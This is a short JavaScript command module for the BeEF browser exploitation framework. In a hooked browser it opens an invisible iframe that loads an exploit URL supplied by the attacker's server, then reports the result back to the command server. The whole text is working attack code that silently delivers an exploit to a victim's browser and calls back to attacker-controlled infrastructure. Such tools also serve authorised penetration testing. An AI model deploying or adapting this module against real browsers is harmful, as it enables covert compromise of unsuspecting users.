beef.execute(function() { var result; try { var sploit = beef.dom.createInvisibleIframe(); sploit.src = "<%= @sploit_url %>"; result = "Exploit Sent"; } catch(e) { for(var n in e) result+= n + " " + e[n] + "\n"; } beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); });